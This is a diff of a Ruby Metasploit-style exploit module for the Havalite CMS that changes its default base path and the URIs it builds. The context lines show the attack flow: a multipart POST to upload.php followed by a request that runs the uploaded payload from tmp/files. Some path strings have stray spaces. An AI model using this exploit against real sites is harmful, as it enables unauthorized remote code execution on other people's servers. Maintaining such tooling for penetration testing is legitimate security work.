@@ -49,7 +49,7 @@ def initialize(info={})
49
49
50
50
register_options (
51
51
[
52
- OptString . new ( 'TARGETURI' , [ true , 'The base path to havalite' , '/havalite/ ' ] )
52
+ OptString . new ( 'TARGETURI' , [ true , 'The base path to havalite' , '/' ] )
53
53
] , self . class )
54
54
end
55
55
@@ -65,7 +65,7 @@ def peer
65
65
# the vendor or OSVDB about exactly which ones are really vulnerable.
66
66
#
67
67
def check
68
- uri = normalize_uri ( target_uri . path )
68
+ uri = normalize_uri ( target_uri . path , 'havalite/' )
69
69
res = send_request_raw ( { 'uri' => uri } )
70
70
71
71
if not res
@@ -98,7 +98,7 @@ def upload(base)
98
98
99
99
res = send_request_cgi ( {
100
100
'method' => 'POST' ,
101
- 'uri' => normalize_uri ( base , 'upload.php' ) ,
101
+ 'uri' => normalize_uri ( base , 'havalite' , ' upload.php') ,
102
102
'ctype' => "multipart/form-data; boundary=#{ data . bound } " ,
103
103
'data' => post_data
104
104
} )
@@ -120,7 +120,7 @@ def upload(base)
120
120
#
121
121
def exec ( base , payload_fname )
122
122
res = send_request_raw ( {
123
- 'uri' => normalize_uri ( base , 'tmp' , 'files' , payload_fname )
123
+ 'uri' => normalize_uri ( base , 'havalite' , ' tmp', 'files' , payload_fname )
124
124
} )
125
125
126
126
if res and res . code == 404
0 commit comments